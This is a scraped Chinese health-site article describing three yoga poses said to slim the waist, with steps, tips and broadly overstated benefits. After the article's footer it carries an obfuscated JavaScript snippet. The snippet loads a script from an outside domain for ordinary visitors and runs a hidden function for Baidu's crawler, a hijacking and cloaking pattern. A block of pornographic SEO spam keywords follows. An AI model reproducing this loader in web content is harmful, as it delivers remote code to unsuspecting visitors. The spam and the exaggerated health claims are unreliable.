當前位置:首頁 > 減肥 > 運動減肥 > 正文

減肥瘦腰的瑜伽動作是什么?

2017-04-22 01:07:20  來源:360常識網   熱度:
導語:很多女性朋友經常會在家里面自己來練習瑜伽,適當的做瑜伽對于我們的身體健康會有非常多的好處,它不僅僅能夠有效地調節人的呼吸,達到修身

很多女性朋友經常會在家里面自己來練習瑜伽,適當的做瑜伽對于我們的身體健康會有非常多的好處,它不僅僅能夠有效地調節人的呼吸,達到修身養性的作用,平時經常堅持鍛煉,還會具有非常好的瘦腰,瘦肚子等等的減肥作用,要想通過瑜伽來瘦腰最好是可以熟練地掌握以下的這些瑜伽體式。

強壯的蹲姿勢瑜伽

1、站立,挺直腰背,雙手往上合掌,做深呼吸。

2、吸氣,緩慢曲膝,吐氣,成半蹲姿勢,停留10~20秒。

3、緩慢還原,放松手腳,調整呼吸

功效:防肌肉松垮,增強腿力,防腿部退化,消除腰側脂肪,提升免疫力,防五十肩,改善虛弱體質,強壯身體,增加自信心,留住青春

提示:

動作完成后,要持續將雙手往上伸展,并想象頭頂有一條線將你往上提拉。

貓伸展的姿勢瑜伽

1、雙膝打開與肩同寬,跪立,雙手于前方地板撐穩身體。

2、吸氣,緩慢將手滑向前,背下壓直至額頭著地,吐氣,停留10~20秒,做深呼吸。

3、緩慢還原,調整呼吸。

功效:伸展背脊,增加彈性,美化手臂以及腰腹部曲線,預防肥胖,調理內臟機能o防內臟下垂,增強上身肌肉彈性,抗體態老化

提示:

動作完成時,一定要保持手與背部的延伸,并注意臀部勿坐于腳跟上。

桌子姿勢減肥瑜伽:抗肌肉松垮

坐正,挺直腰背,做深呼吸,曲膝,雙腳踩穩地板,雙手往身體后方,撐穩身體重心,吸氣,臀部離地,吐氣,停留5~10秒,緩慢還原,放松調整呼吸。

提示:

當動作完成時,要收腹、縮肛、夾臀,使核心肌群全動員施力。

功效:緊實腰腹肌肉,抗拒老化,預防肥胖,增強免疫力,促進新陳代謝。

瑜伽是目前比較流行的一種健身方式,他分為很多的體體式,在不同的時期針對身體不同的狀況可以相應的變換練習的體式,從而達到更好的鍛煉效果。在練習瑜伽的時候,還應該要適當的增加飲水量,這樣能夠有效地幫助人體加速新陳代謝。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
成品人和精品人的区别在哪里| 亚洲精品久久久久无码AV片软件| 国产成人精品亚洲| 亚洲系列国产精品制服丝袜第| 国产精品高清在线| 亚洲AV无码国产精品永久一区| 亚洲国产精品乱码一区二区| 四虎精品免费永久免费视频| 2021国内精品久久久久影院| 97久久国产综合精品女不卡| 国产精品一区二区资源| 国产精品亚洲四区在线观看| 国产成人精品手机在线观看| 四虎成人精品国产永久免费无码| 国产成人精品三级在线| 久久精品青青大伊人av| 亚洲精品老司机在线观看| 国语自产精品视频在线完整版| 热re99久久精品国99热| 大陆精大陆国产国语精品| 国产九九久久99精品影院| 亚洲国产精品成人午夜在线观看 | 精品久久久久久无码人妻热 | 国产成人精品怡红院在线观看| 大香伊人久久精品一区二区 | 亚洲国产精品精华液| 久久亚洲精品无码VA大香大香| 国产亚洲欧洲精品| 精品国产高清在线拍| 日韩经典精品无码一区| 日韩精品中文字幕在线观看 | 热re99久久精品国产99热| 国产精品免费观看视频| 精品96在线观看影院| 国产精品秘入口18禁麻豆免会员| 精品亚洲AV无码一区二区三区| 久久精品国产亚洲夜色AV网站| 99久久国语露脸精品国产| 久久精品女人天堂AV麻| 国产精品国产三级在线专区| 精品视频一区二区观看|